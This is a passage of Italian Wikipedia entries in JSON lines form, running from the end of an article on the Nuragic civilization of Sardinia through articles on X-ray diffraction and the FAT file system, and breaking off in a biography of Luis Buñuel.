presenti popolazioni contraddistinte sia da parlate indoeuropee che pre-indoeuropee.\nScrittura.\nLa possibilit\u00e0 che gli antichi Sardi usassero una scrittura di tipo fonetico rimane un enigma. La maggior parte degli studiosi sostiene infatti che le popolazioni nuragiche ignorassero forme di scrittura a caratteri fonemici e tanto meno alfabetici, mentre sono presenti varie forme di iconografia o ideografia.\nSecondo l'archeologo Giovanni Ugas, ex-direttore della Soprintendenza archeologica di Cagliari e Oristano e allievo di Giovanni Lilliu (generalmente ritenuto il massimo esperto della civilt\u00e0 nuragica), esistono invece almeno a partire dall'VIII secolo a.C., ossia nell'et\u00e0 del ferro, evidenze di un alfabeto completo, ad andamento progressivo, imparentato con quello euboico e diverso da quello utilizzato dai fenici ma con elementi grafici in comune, dotato di vocali come il greco e l\u2019etrusco.\nCultura.\nArte.\nArchitettura.\nOltre al Nuraghe, elemento architettonico simbolo della civilt\u00e0 nuragica, sono tipiche anche particolari costruzioni soprattutto di ambito religioso e funerario.\nPozzi sacri.\nL'architettura religiosa \u00e8 soprattutto rappresentata dai pozzi sacri e dalle fonti sacre. Questi monumenti, tra i pi\u00f9 elaborati che si trovano in Sardegna, sono edifici legati al culto animistico o astronomico dell'acqua e sono edificati con tecnica megalitica.\nIl cuore del tempio-sorgente \u00e8 la sala con la volta a \"tholos\" - come nei nuraghi - il pi\u00f9 delle volte sotterranea e nella quale veniva raccolta l'acqua sorgiva. Una scala collegava la sala all\"atrium\" del tempio, generalmente situato al livello del terreno circostante e attorniato da piccoli altari in pietra sui quali si depositavano le offerte e sui quali si celebravano i riti propri al culto dell'acqua sacra.\nLa perfezione e la precisione con la quale sono stati tagliati i blocchi di pietra calcarea o lavica \u00e8 tale che per molto tempo sono stati datati tra l'VIII ed il VI secolo a.C e furono comparati all'architettura religiosa etrusca. Le pi\u00f9 recenti indagini hanno indotto per\u00f2 gli archeologi a stimare la costruzione di questi templi intorno al periodo in cui esistevano strettissime relazioni tra i Nuragici e i Micenei della Grecia e di Cipro, e cio\u00e8 di molti secoli anteriori alle prime estimazioni, infatti alcuni pozzi sacri sono stati datati con certezza al bronzo finale (1200 a.C.). I pozzi sacri subirono nel tempo delle trasformazioni. Edificati sulle sorgenti d'acqua, erano un luogo di pellegrinaggio ed intorno ad essi si sviluppava generalmente un villaggio-santuario.\nLe capanne note come sala del consiglio sono associate a depositi di oggetti di bronzo e lingotti di piombo recanti tacche e marchi, forse indicanti il valore temporale. Si pensa che fossero la riserva della comunit\u00e0 o il tesoro del tempio. Col tempo ebbero un'evoluzione verso strutture molto complesse da un punto di vista idraulico (con canalette piombate, vasche di raccolta e protomi taurine per l'uscita dell'acqua calda verso un bacile centrale, circondato da una seduta rituale) come ad esempio il complesso di Sedda 'e sos Carros ad Oliena (NU). Le funzioni religiose di certi templi si perpetuarono fino all'arrivo del cristianesimo: a Perfugas (SS), il pozzo sacro Pedrio Canopoli fu scoperto nei giardini di una chiesa.\nIl loro impiego si protrasse sino all'et\u00e0 classica. Dei 63 siti noti in letteratura, soltanto 12 sono fonti sacre, mentre gli altri 53 sono pozzi sacri.\nSecondo alcuni studiosi i pozzi sardi di et\u00e0 nuragica erano orientati secondo i principi dell'archeoastronomia tipicamente per finalit\u00e0 sacre e rituali che per un sapiente utilizzo delle risorse idriche che affioravano spontaneamente in superficie. Alcuni di essi furono costruiti come pozzi \"a mensola\" (in inglese: \"corbelling\"), una tecnica che prevedeva lla sovrapposizione di strati orizzontali di materiale costruttivo in un sistema di muratura a secco.\nTempietti a m\u00e9garon.\nDiffusi in varie parti dell'Isola e dedicati al culto delle acque salutari, i \"m\u00e9gara\" costituiscono una manifestazione architettonica che riflette da vicino la vivacit\u00e0 culturale delle genti nuragiche, ben inserite allora nel contesto delle grandi civilt\u00e0 mediterranee coeve. Molti studiosi individuano infatti per queste costruzioni influenze extra insulari, provenienti dall'area egeo-orientale e riconducibili ad un periodo che va dal medio-elladico (2000-1600 a.C.) fino al Protogeometrico.\nDalla forma rettilinea e con le pareti laterali che si prolungano all'esterno, richiamano alle architetture di edifici preellenici evocando i saloni dei palazzi micenei e cretesi.\nSecondo un'altra proposta, i templi a megaron riprenderebbero piuttosto modelli costruttivi gi\u00e0 utilizzati dall'et\u00e0 del rame.\nLa loro appartenenza alla sfera sacrale \u00e8 avvalorata dalla presenza dei \"temenos\", ossia i recinti sacri che racchiudevano al loro interno gli edifici di culto, a protezione dei fedeli e degli spazi dedicati ai giochi sacri e al mercato. Sono ritenuti contemporanei ai pi\u00f9 conosciuti templi a pozzo, ma mentre questi sono strettamente legati alla presenza dell'acqua sorgiva, quelli a \"megaron\" differiscono perch\u00e9 la loro ubicazione poteva essere ovunque nel territorio in quanto l'acqua (dai nuragici ritenuta per eccellenza l'elemento purificatore) veniva raccolta all'interno di vasche collocate dentro la struttura stessa.\nAlcuni esempi come quello di Malchittu ad Arzachena (Sassari) sono absidati, mentre altri come il tempio di Sa Carcaredda a Villagrande Strisaili (Nuoro) culminano con un vano circolare. Nelle loro planimetrie spesso i muri portanti perimetrali si protraggono all'esterno sia verso la fronte dell'edificio, sia nella sua parte retrostante: in tal caso vengono definiti come templi \"in antis\" o \"doppiamente in antis\". L'estensione dei muri oltre il frontale delimitava il vestibolo dal quale poi si accedeva alla sala principale e agli ambienti attigui ad essa. Un tetto con un prospetto a cuspide e fornito di un doppio spiovente, costituiva secondo le ricostruzioni dei ricercatori, la copertura dei templi.\nIl numero dei vani interni varia a seconda dei tipi e arrivava sino a quattro come nel \"megaron\" di S'Arcu 'e Is Forros a Villagrande Strisaili. In certi casi sono stati riscontrati nello stesso contesto insediativo diversi edifici della stesso tipo, sovente inseriti nei villaggi, spesso vicino ai nuraghi, raramente nei pressi di fonti o pozzi sacri mentre sono state riscontrate nei loro vicinanze una certa frequenza di sepolture.\nL'ipotesi che questi edifici siano derivati dalle esperienze costruttive elladiche non trova unanimit\u00e0 tra gli studiosi in quanto i \"m\u00e8gara\" sardi, al contrario di quelli micenei, non avevano un uso civile, e questi ultimi inoltre mancavano di arredi riconducibili alla sfera del sacro.\nIl pi\u00f9 grande e meglio conservato dei \"m\u00e9gara\" sardi \u00e8 Sa Domu de Orgia presso Esterzili (Cagliari) la cui estensione raggiunge i 180 m\u00b2\nRotonde con bacile.\nA partire dalla tarda Et\u00e0 del bronzo, negli insediamenti nuragici iniziarono ad essere costruite particolari strutture architettoniche a pianta circolare dotate - nella loro parte centrale - di un bacile litico con piede modanato prossimo a un sedile anulare addossato alla parete, mentre il pavimento lastricato risultava inclinato verso un foro ricavato alla base del paramento murario.\nDenominate dall'archeologo Giovanni Lilliu \"rotonde con bacile\", sono state ritrovate inserite in vere e proprie \"insulae\" formate da capanne disposte attorno ad un cortile centrale, talvolta in maniera disordinata, spesso seguendo un disegno ben articolato. Vennero per la prima volta alla luce durante gli scavi effettuati negli anni 1929-1930 dall'archeologo Antonio Taramelli nel santuario nuragico di Abini a Teti e da questi indagate sommariamente. Fu l'archeologo Giovanni Lilliu che diede inizio ad un loro studio sistematico quando, durante la campagna di scavi del villaggio nuragico di Barumini negli anni Cinquanta del secolo scorso, ne furono trovate otto.\nRicerche successive hanno evidenziato una diffusione territoriale estesa a molte zone della Sardegna. Sulla base dei diversi elementi ricorrenti, gli studiosi ipotizzano per queste strutture un disegno unitario, con varianti atte a soddisfare varie esigenze funzionali ma sempre con ispirazioni concettuali e architettoniche univoche. Tuttavia le tante teorie formulate non sono ritenute completamente esaustive e la loro reale destinazione rimane sostanzialmente oscura.\nEcco alcune ipotesi proposte per il loro probabile utilizzo:\nQuelle pi\u00f9 conosciute in letteratura sono le seguenti:\nUno degli attuali migliori esempi di rotonda con bacile \u00e8 la fontana rituale di Sa Sedda 'e Sos Carros, ubicata nella valle di Lanaithu, in territorio di Oliena. Le pareti circolari della rotonda sono costruite con conci isodomi di basalto disposti a filari, uno dei quali \u00e8 costituito da blocchi di calcare bianco e ornato con sette protomi di ariete (o di muflone). Dalle sculture forate in corrispondenza della bocca, l'acqua zampillava nel grande bacile sottostante grazie ad una canaletta ricavata all'interno del paramento murario.\nArchitettura funeraria.\nLe tombe dei giganti segnano, nelle loro poco sondate diversit\u00e0 strutturali e tecniche, il complesso evolversi della civilt\u00e0 nuragica fino agli albori dell'Et\u00e0 del ferro. Queste costruzioni funerarie megalitiche, la cui pianta rappresenta forse la testa di un toro, sono diffuse uniformemente in tutta l'Isola, anche se si nota una fortissima concentrazione nella sua parte centrale.\nSi tratta di tombe collettive costituite da una camera sepolcrale allungata, realizzata con lastroni di pietra ritti verticalmente con copertura a lastroni (nel tipo pi\u00f9 arcaico, o dolmenico), oppure con filari di pietre disposte e copertura ogivale. Sulla fronte, il corpo tombale si apre in due ampi bracci lunati, a limitare un'area semicircolare cerimoniale: l'esedra.\nIn prossimit\u00e0 delle tombe sorgevano spesso degli obelischi simboleggianti senza dubbio gli dei o gli antenati che vegliavano sui morti. Questa sorta di \"menhir\" sono chiamati \"baity-loi\" (in italiano betili) ed \u00e8 una parola che sembra derivare da \"beth-el\" che in ebraico significa \"casa del dio\".\nGli altri tipi di architettura funeraria nuragica hanno un carattere fortemente regionale. Nell'area del Sassarese e del Goceano si diffusero le domus a prospetto architettonico, ipogei con stele centinata scolpita sul prospetto, mentre nella Gallura orientale si riadattarono, con la costruzione di muretti a secco di chiusura, degli anfratti naturali detti tafoni.\nLe ceramiche.\nNella ceramica, l'abilit\u00e0 ed il gusto degli artigiani sardi si manifestano essenzialmente nel decorare le superfici di vasi ad uso certamente rituale, destinati ad essere utilizzati nel corso di complesse cerimonie, forse in alcuni casi anche ad essere frantumati al termine del rito, come le brocche rinvenute nel fondo dei pozzi sacri.\nLa ceramica sviluppa anche una grafia geometrica nelle lampade, nei vasi piriformi (esclusivi della Sardegna) e negli \"askoi\". Forme importate e locali sono state trovate a Barumini, a Santu Antine, a Cuccuru Nuraxi, Santa Anastasia, Villanovaforru, Furtei e Suelli. Ritrovate anche nella penisola italiana, in Sicilia, in Spagna e a Creta tutto fa pensare ad una Sardegna molto ben inserita nei commerci del Mediterraneo.\nI bronzetti.\nOltre ad oggetti di uso militare, l'artigianato fabbricava attrezzi agricoli d'uso comune, oggetti per la casa, monili, vasi di bronzo laminato, cofanetti, specchi, spille, fibbie, candelabri, manici per mobili e soprattutto i caratteristici bronzetti votivi.\nUtilizzati probabilmente come ex voto e/o come riferimento ad un mondo eroico tramandato, legato comunque al culto, i bronzetti rappresentavano figure di uomini, imbarcazioni, nuraghi e animali utili per ricostruire scene di vita quotidiana. In base alla loro produzione, si possono notare diversi stili e gradi di perfezione, tra i quali quello aulico di Uta e uno popolaresco, definito anche mediterraneo.\nTra i bronzetti pi\u00f9 noti si possono menzionare i capi trib\u00f9 (con mantello e daga borchiata), le divinit\u00e0 con quattro occhi e quattro braccia, gli uomini-toro, i guerrieri, i pugilatori, le sacerdotesse e le maternit\u00e0, due di Serri e una di Urzulei, quest'ultima \u00e8 nota comunemente come \"madre dell'ucciso\", in analogia ad una celebre scultura novecentesca di Francesco Ciusa.\nScultura.\nLe statue dei giganti di Mont'e Prama.\nAi luoghi di culto si associava, in genere, l'offerta dei bronzetti votivi che raffiguravano uomini e donne, animali, modellini di imbarcazioni, modellini di nuraghi, esseri fantastici, riproduzioni in miniatura di oggetti e arredi. Questa importante produzione artistico-religiosa ha prodotto un'iconografia ben codificata e tipizzata che, nel 1974, \u00e8 stata arricchita dai resti di 32 (forse 40) statue in pietra arenaria di dimensioni monumentali (alte da 2 a 2,5 metri) comunemente conosciute come Giganti di Mont'e Prama dal nome della localit\u00e0 del Sinis presso Cabras, in provincia di Oristano, nella quale vennero ritrovate. Queste statue richiamano i bronzetti stile Abini-Serri.\nLa scoperta degli enormi frammenti di queste statue giganti che rappresentano guerrieri, arcieri, lottatori, modelli di nuraghe e pugilatori dotati di scudo e guantone armato, che si ritiene siano risalenti tra il X e l'VIII secolo a.C., sta proiettando nuova luce sull'arte e la sulla cultura delle popolazioni della Sardegna nuragica. La datazione confermerebbe la sopravvivenza e la forza della cultura nuragica nel periodo della frequentazione fenicia.\nIl sito di Monti Prama raffigura un complesso di personaggi che in tutta probabilit\u00e0 rivestivano carattere eroico, in ricordo di imprese andate oggi dimenticate, poste a guardia di un sepolcro. Potrebbe anche trattarsi, con minore probabilit\u00e0, della rappresentazione di una sorta di olimpo con peculiari divinit\u00e0 nuragiche. Le statue dei Giganti di Monte Prama hanno occhi come dischi solari, volutamente privi di espressione e di bocca, con acconciature che lasciano cadere sulle spalle due trecce per lato, e abito di foggia orientale con scollo a V. Sono ben visibili importantissimi dettagli relativi alla foggia delle armature e delle protezioni. Per l'archeologo Giovanni Lilliu rappresentano la massima espressione della Civilt\u00e0 nuragica, e su di esse cos\u00ec si esprime: \nPaleogenetica.\nLe genti nuragiche erano geneticamente affini alle popolazioni della cosiddetta Europa Antica, ossia l'Europa neolitica prima dell'arrivo dei pastori nomadi Indoeuropei dalle steppe pontico-caspiche. Secondo uno studio del 2020 di Marcus et al., il genoma nuragico derivava all'incirca all'83% da quello dei primi agricoltori neolitici europei (EEF) e al 17% dai cacciatori-raccoglitori occidentali mesolitici (WHG). Si ritiene che geneticamente discendessero, in gran parte, dai portatori della cultura della ceramica cardiale, che si diffuse in tutta l'Europa meridionale nel 5500 a.C. circa. Alcuni individui analizzati mostrano una percentuale molto esigua di geni provenienti dalle steppe dell'Europa orientale e dagli agricoltori iraniani e nord africani del neolitico antico. Il popolo nuragico si differenziava dagli altri popoli europei dell'et\u00e0 del bronzo per via della quasi totale assenza di antenati legati alla steppa; a titolo di esempio, la popolazione coeva dei Micenei, di lingua indoeuropea, discendeva per il ~4-16% da immigrati provenienti dalle steppe a nord del Mar Nero, l'Urheimat protoindoeuropea (Marija Gimbutas 1956). Soggetti con una significativa ascendenza steppica compaiono in Sardegna a partire dall'et\u00e0 del ferro (Anghelu Ruju, Monte Sirai ecc.).\nUno studio del 2021 di Villalba-Mouco et al. ha individuato un possibile flusso genico proveniente dalla penisola italiana a partire dal calcolitico. Nella Sardegna preistorica la componente associata agli agricoltori iraniani (o cacciatori-raccoglitori caucasici), presente nell'Italia continentale dal neolitico (assieme alle componenti EEF e WHG), aumenta gradualmente dallo 0% nel primo calcolitico al 5,8% circa nel periodo nuragico. L'assenza della componente legata ai magdaleniani escluderebbe invece apporti dal calcolitico del sud della penisola iberica, dove, nell'et\u00e0 del bronzo, fior\u00ec la cultura di El Argar. \nSecondo uno studio del 2022 di Chintalapati, Patterson e Moorjani,\" \"in Sardegna la maggioranza dei campioni dell'et\u00e0 del bronzo non hanno ascendenze legate ai pastori della steppa. In alcuni individui abbiamo trovato prove di ascendenza steppica\"\" che sarebbe giunta sull'isola nel 2600 a.C. circa .\nAspetto fisico.\nPer quanto riguarda i dati sulla pigmentazione di occhi, capelli e pelle, dallo studio sul DNA antico dei 44 individui del periodo nuragico, provenienti dalla Sardegna centrale e nord-occidentale, sono stati ottenuti i seguenti risultati:\nIl colore degli occhi \u00e8 azzurro nel 16% degli esaminati e scuro nel restante 86%. Il colore dei capelli \u00e8 biondo o biondo scuro per il 9% e castano scuro o nero nel 91%. Il colore della pelle \u00e8 intermedio per il 50%, intermedio o scuro il 16% e scuro o molto scuro nel restante 34%."}
{"id": "26539", "revid": "120421586", "url": "https://it.wikipedia.org/wiki?curid=26539", "title": "Diffrazione dei raggi X", "text": "La diffrazione dei raggi X \u00e8 una delle tecniche pi\u00f9 importanti per lo studio dei solidi cristallini.\nInformazioni preliminari: interazione radiazione-materia.\nQualunque radiazione elettromagnetica \u00e8 in grado di interagire con la materia attraverso due processi principali:\nTecniche strumentali della diffrattometria a raggi X.\nLa tecnica della diffrazione di raggi X si basa sullo scattering elastico coerente: il fenomeno macroscopico della diffrazione nasce infatti dalla somma coerente di tutte le onde elettromagnetiche diffuse dagli atomi che si trovano lungo una stessa famiglia di piani reticolari. Per manifestarsi, richiede necessariamente la presenza di un ordine reticolare, come si riscontra nei cristalli, sebbene questo fenomeno possa essere osservato con successo anche nei liquidi utilizzando uno strumento EDXD (energy dispersion X-ray diffraction) a scansione energetica.\nQuesto comportamento mostra che in una sostanza allo stato liquido esiste una regolarit\u00e0, infatti attraverso misure di diffrazione ai raggi X di una sostanza allo stato liquido e della stessa sostanza allo stato solido, utilizzando il metodo delle polveri, \u00e8 stato messo in evidenza come le distanze tra gli atomi fossero in prima approssimazione le stesse.\nA seconda della natura del campione sotto esame si divide in diffrazione su cristallo singolo (SC-XRD, \"single crystal X-ray diffraction\") e diffrazione di polveri (XRPD, \"X-ray powder diffraction\"). La prima tecnica \u00e8 in grado di dare informazioni tridimensionali sulla densit\u00e0 elettronica e sui moti termici di ogni atomo costituente il cristallo: tuttavia, la difficolt\u00e0 di ottenere cristalli singoli e la complessit\u00e0 dell'analisi dei dati la rendono una tecnica non routinaria. Estremamente pi\u00f9 diffusa \u00e8 invece la diffrazione di raggi X di polveri, che \u00e8 molto pi\u00f9 veloce ed economica, e permette di quantificare le varie componenti di un campione solido, e di ricavare anche informazioni sulla struttura cristallina e sulla dimensione dei cristalliti.\nIn generale, entrambe le tecniche possono in linea di principio fornire le seguenti informazioni:\nLa SC-XRD consente inoltre:\nLa XRPD, invece, permette:\nUn'innovativa applicazione tecnologica della diffrazione dei raggi X \u00e8 la microdiffrazione dei raggi X (\u03bc-XRD)"}
{"id": "26564", "revid": "219110", "url": "https://it.wikipedia.org/wiki?curid=26564", "title": "File Allocation Table", "text": "La File Allocation Table, in sigla FAT, \u00e8 un file system sviluppato inizialmente da IBM e Digital Equipment Corporation prima, e poi da Bill Gates e Marc McDonald per il MS-DOS. \u00c8 il file system primario per diversi sistemi operativi e Microsoft Windows fino alla versione Windows Me. Windows NT e le successive versioni hanno introdotto l'NTFS e mantenuto la compatibilit\u00e0 con la FAT cos\u00ec come molti altri sistemi operativi moderni.\nStoria.\nLa FAT inizialmente debutta sul sistema CP/M della Digital e IBM per i floppy disk; l'idea fu presa da come la versione stand-alone di Microsoft BASIC utilizzava i floppy disk fino al 1976 copiata dalla IBM. Nel maggio del 1979, un anno prima di decidere di scrivere il QDOS, Tim Paterson aiut\u00f2 Bob O'Rear a portare il loro linguaggio nella nuova architettura 8086. La FAT poi viene utilizzata nell'agosto del 1980 con la prima versione di QDOS (derivazione del modulo DOS del CP/M) di Tim Paterson, il predecessore del PC-DOS e di MS-DOS della Microsoft, anzi, il solo supporto FAT fu proprio la principale differenza tra il QDOS e il CP/M, di cui il QDOS era un clone.\nCon l'annuncio della Microsoft del cessato supporto a MS-DOS nel 1994 e l'introduzione del NTFS in tutti i sistemi operativi prodotti, \u00e8 improbabile che venga sviluppata una nuova versione del FAT. Vista per\u00f2 l'estrema diffusione del FAT nei floppy disk, nelle memorie flash o nei drive USB ed essendo molto limitato il supporto del NTFS nei sistemi operativi non Microsoft, probabilmente questo file system verr\u00e0 utilizzato ancora a lungo. Con la commercializzazione di Windows Vista SP1 e Windows CE 6.0, la Microsoft presenta l'exFAT detta anche FAT64 utilizzato prevalentemente per memorie flash.\nCronologia delle versioni.\nEsistono varie versioni di questo file system, in base a quanti bit sono allocati per numerare i cluster del disco: FAT12, FAT16, FAT32. Esiste anche una versione del FAT16 detta VFAT, che \u00e8 virtuale cio\u00e8 non registrato fisicamente sull'hard disk, ma gestito da un software specifico.\nFAT12.\nLa prima versione del FAT fu la FAT12, un file system per floppy disk i cui indirizzi per i cluster erano appunto a 12 bit (lunghezza non standard, quindi manipolare il FAT era un po' pi\u00f9 complicato) e per questo poteva gestire dischi grandi al massimo 32 MiB. Ma visto che i dischi dell'epoca erano grandi al massimo 160 KB questi limiti non vennero mai sentiti. La prima versione del FAT12 non supportava le directory ad albero, che vennero introdotte con l'MS-DOS 2.0 e i dischetti da 360KB.\nNel 1984 la IBM rilasci\u00f2 i PC AT, con un hard disk di 20 MB. In parallelo Microsoft introdusse l'MS-DOS 3.0 ed una versione del FAT con indirizzi per i cluster a 16 bit, permettendo fino a 65.536 cluster e portando il limite di grandezza teorico a 512MB. Comunque il numero massimo di settori e la dimensione massima (di una partizione, non pi\u00f9 di un disco) non cambi\u00f2 e rimase di 32 MB.\nFAT16.\nNel 1987 arriv\u00f2 il formato che ora viene chiamato \"FAT16\": introdotti dal Compaq DOS 3.31, nel 1988 i miglioramenti arrivarono anche con l'MS-DOS 4.0. La dimensione delle partizione venne limitata dalla dimensione di 8-bit dei settori per cluster, che potevano avere fino a 64 settori, dando cluster di 32 KB con la solita dimensione di 512 byte per settore, fissando il limite \"definitivo\" per una partizione FAT16 a 2 GB. Pi\u00f9 tardi, Windows NT aument\u00f2 la dimensione massima dei cluster a 64K (considerando il contatore come \"unsigned\", senza segno), ma il risultato non era compatibile con le altre implementazioni del FAT del tempo, e cluster di tale grandezza portavano a sprecare molto spazio per la frammentazione interna.\nVFAT.\nPer supportare i nomi dei file lunghi, venne introdotto in Windows 95 il VFAT (Virtual FAT), che prende il nome dal driver della periferica. L'implementazione modificava il modo in cui il file system organizzava i contenuti di una directory. L'uso delle specifiche VFAT permette di usare sia nomi lunghi (fino a 255 caratteri UTF-16) che nomi brevi (8+3 caratteri) in maniera trasparente alle diverse versioni di Windows.\nFAT32.\nPer superare i limiti sulla dimensione dei volumi imposta dal FAT16, Microsoft decise di creare un nuovo FAT chiamato FAT32, con numeri per i cluster da 32 bit, anche se in realt\u00e0 ne vengono utilizzati solo 28.\nIn teoria questo dovrebbe permettere (228) cluster, cio\u00e8 una dimensione totale dell'ordine dei 2 TiB con cluster di 8 KiB, ma a causa delle limitazioni da alcune versioni dell'utility scandisk non \u00e8 permesso al FAT di superare i (&lt; 222) cluster, riducendo la dimensione massima a 124,55 gigabyte. Le utility di formattazione e partizionamento di Windows 2000 e XP hanno un limite di 32 GB per le partizioni FAT32, ma \u00e8 un limite arbitrario: avviando un computer con un floppy disc di boot basato su sistema operativo FAT32 (es.: windows 98) \u00e8 infatti possibile partizionare in FAT32 oltre i 32 gigabyte, inoltre utility di terze parti possono tranquillamente creare e gestire partizioni FAT32 fino a 1 TB; esistono in commercio hard disk esterni di 1 TB formattati in FAT32. Con il FAT32 la dimensione del singolo file non pu\u00f2 essere superiore ai 4 GB. Questo perch\u00e9 esiste una voce a 32 bit che indica la grandezza del file in byte.\nL'ultima versione di Microsoft Windows che usa questo file system \u00e8 Windows Me (Millennium Edition). Le versioni successive lo supportano in aggiunta al file system NTFS, pi\u00f9 che altro per la formattazione di pendrive, schede di memoria e altri dispositivi mobili.\nExFAT.\nExFAT \u00e8 un file system introdotto da Microsoft nel 2006 con Windows Embedded CE 6.0, pensato appositamente per memorie flash e, in generale, per dispositivi di archiviazione dalle dimensioni fino a 16 exabytes.\nDescrizione.\nLa FAT in s\u00e9 mantiene la traccia delle aree del disco disponibili e di quelle gi\u00e0 usate dai file e dalle directory: la differenza fra FAT12, FAT16 e FAT32 consiste appunto in quanti bit sono allocati per numerare i cluster del disco. Con 12 bit, il file system pu\u00f2 indirizzare al massimo 212 = 4096 cluster, mentre con 32 bit si possono gestire 232 = 4.294.967.296 cluster; l'aumento del numero di bit di indirizzo dei cluster si \u00e8 reso necessario per gestire unit\u00e0 a disco sempre pi\u00f9 grandi e capienti.\nLa FAT \u00e8 relativamente semplice ed \u00e8 supportata da moltissimi sistemi operativi dato che \u00e8 Open Source. Queste caratteristiche la rendono adatta ad esempio per i Floppy Disk e le Memory Card. Pu\u00f2 anche essere utilizzata per condividere dati tra due sistemi operativi diversi e molto altro. Il pi\u00f9 grande problema del File System FAT della Microsoft \u00e8 la frammentazione. Quando i file vengono eliminati, creati o spostati, le loro varie parti si disperdono sull'unit\u00e0, rallentandone progressivamente la lettura e la scrittura. Una soluzione a questo inconveniente \u00e8 la deframmentazione, un processo che riordina i file sull'unit\u00e0. Questa operazione pu\u00f2 durare anche diverse ore e deve essere eseguita periodicamente per mantenere le prestazioni dell'unit\u00e0.\nSupporto nei sistemi operativi.\nData la grande diffusione del FAT file system, praticamente tutti i sistemi operativi non Microsoft hanno supportato sia il FAT16, che il VFAT ed infine il FAT32 (questo con meno limitazioni di quelle previste ufficialmente). \nCon le prime distribuzioni GNU/Linux venne creato un file system chiamato UMSDOS, un FAT con gli attributi Unix (permessi, proprietario ecc.), che altrimenti non sono supportati in FAT; il suo sviluppo si ferm\u00f2 con l'arrivo del VFAT, ma \u00e8 tuttora supportato. Il sistema operativo macOS pu\u00f2 utilizzare il FAT per i volumi non avviabili oppure per il volume di Bootcamp nei MacIntel.\nStruttura.\nIl file system FAT \u00e8 un file system classificato tra quelli con \"allocazione concatenata\". Una partizione FAT \u00e8 strutturata in quattro sezioni diverse:\nFAT utilizza il formato little endian per le voci nell'intestazione e la/le FAT.\nSettore di avvio.\n\u00c8 importante notare che il primo settore su un dispositivo non necessariamente \u00e8 il settore di avvio. Per i dispositivi partizionati (per es. gli hard disk), il primo settore \u00e8 detto Master Boot Record (abbreviato: \"MBR\"); nei dispositivi non partizionati (come i floppy disk) il primo settore \u00e8 il Volume Boot Record (abbreviato: \"VBR\"). Tutte le versioni FAT hanno in comune i primi 36 bytes:\nSettore informazioni FS.\nIntrodotto con la FAT32 per accelerare i tempi di accesso di alcune operazioni (i.e. la quantit\u00e0 di spazio libero), occupa generalmente il settore 1, nel record di avvio 0x30. Ha dimensione pari a 512 byte.\nTabella dei files.\nUna partizione \u00e8 divisa in \"cluster\" contigui dalle dimensioni variabili tra 2 e 32 KB. Ogni file \u00e8 strutturato sul disco come una lista concatenata di cluster non necessariamente contigui: questa \u00e8 la ragione principale per cui si parla di frammentazione del disco nei filesystem FAT.\nOgni record della FAT \u00e8 composto da 5 campi:\nI valori possibili sono:\nDa notare che nella FAT32 sono disponibili solo 28 dei 32 bit disponibili; il bit pi\u00f9 significativo \u00e8 riservato. La regione dati parte dal cluster #2; le altre voci sono riservate alla FAT ed a utilizzo interno.\nTabella delle directory.\n\u00c8 un tipo speciale di file che rappresenta una directory; ogni file o cartella memorizzata all'interno \u00e8 rappresentato da una voce nella tabella secondo il seguente schema:\nNel caso in cui si tratta di un file di tipo etichetta di volume o directory padre (..) i 6 byte all'offset 0x1A sono impostati a zero."}
{"id": "26566", "revid": "253269", "url": "https://it.wikipedia.org/wiki?curid=26566", "title": "Luis Bu\u00f1uel", "text": "\u00c8 stato uno dei pi\u00f9 celebri esponenti del cinema surrealista, trovatosi costretto, a causa della dittatura franchista instauratasi in Spagna, a operare tra Messico, Francia e Stati Uniti, spesso con modesti fondi. I temi principalmente trattati nel corso della sua carriera cinematografica sono stati: la natura dell'inconscio, l'irrazionale, la sessualit\u00e0 umana e la critica anti-borghese e anti-clericale. Tra i vari premi ricevuti, la Palma d'oro al Festival di Cannes nel 1961, il Leone d'oro alla Mostra internazionale d'arte cinematografica nel 1967, l'Oscar al miglior film straniero nel 1973 e il Leone d'oro alla carriera ancora a Venezia nel 1982.\nBiografia.\nFormazione.\nBu\u00f1uel nacque a Calanda, un piccolo paese dell'Aragona, il 22 febbraio 1900, figlio di Leonardo Manuel Bu\u00f1uel Gonz\u00e1lez e di Mar\u00eda Portol\u00e9s Cerezuela. A Calanda trascorse i primi anni di vita, venendo poi mandato a Saragozza presso un collegio di gesuiti per proseguire gli studi, ed entrando in contatto con le ferree regole dell'educazione religiosa. Sar\u00e0 proprio questo ambiente a suscitare in lui le idee anticlericali che avranno ampio riscontro nelle sue opere: \"Io sono profondamente e coscienziosamente ateo, e non ho nessun tipo di problema religioso. Anzi, attribuirmi una tranquillit\u00e0 spirituale di tipo religioso \u00e8 innanzitutto non capirmi, e poi offendermi. Non \u00e8 Dio che mi interessa, ma gli uomini\". Studi\u00f2 poi letteratura e filosofia all'Universit\u00e0 di Madrid, dove conobbe Federico Garc\u00eda Lorca, Salvador Dal\u00ed, Rafael Alberti e Ram\u00f3n G\u00f3mez de la Serna, conseguendo la laurea in Lettere nel 1924.\nPrimo periodo surrealista, antiborghese e anticlericale.\nL'anno seguente si trasfer\u00ec a Parigi dove cominci\u00f2 a frequentare il gruppo surrealista. Qui fece il suo esordio cinematografico dirigendo \"Un chien andalou - Un cane andaluso\" (1928), un cortometraggio scritto e prodotto assieme all'amico Salvador Dal\u00ed. Le caratteristiche del cinema di Bu\u00f1uel, il brutale impatto visivo e lo spirito antiborghese e anticlericale, in esso emergono gi\u00e0 con forza, per sfociare nel 1930 nel lungometraggio surrealista, \"L'\u00e2ge d'or\", dove l'esaltazione del rapporto blasfemo fra Cristo e il Marchese de Sade provoc\u00f2 feroci reazioni di protesta. Il film, vietato subito dopo l'uscita, potr\u00e0 uscire nuovamente solo nel 1950 a New York e nel 1951 a Parigi.\nTornato in Spagna gir\u00f2 \"Terra senza pane\" (1932), documentario di denuncia delle miserabili condizioni di vita della popolazione di una zona dell'Estremadura, conosciuta come Las Hurdes. Subito dopo la guerra civile e la sconfitta della Repubblica spagnola (1939) emigr\u00f2 a New York. Qui trov\u00f2 lavoro al Museum of Modern Art e si occup\u00f2 della direzione del doppiaggio in spagnolo di film americani. Venne per\u00f2 presto licenziato a causa di un articolo scritto da Salvador Dal\u00ed, nel quale l'artista lo definiva ateo: era un'epoca in cui gli atei non erano particolarmente ben visti negli Stati Uniti d'America.\nMessico e primi premi.\nNel 1940 si trasfer\u00ec in Messico, paese di cui prender\u00e0 nel 1948 la cittadinanza. Lavor\u00f2 a numerosi film tra cui \"Gran Casino\" (1947), \"Il grande teschio\" (1949), e \"I figli della violenza\" (1950) che gli valse il gran premio della giuria al festival di Cannes nel 1951. Nel circuito del cinema commerciale messicano diresse una lunga serie di film brillanti, realizzati con minime possibilit\u00e0 tecniche ed economiche: \"Adolescenza torbida\" (1950), \"Salita al cielo\" (1951), \"Una donna senza amore\" (1951), \"La figlia dell'inganno\" (1951), \"Il bruto\" 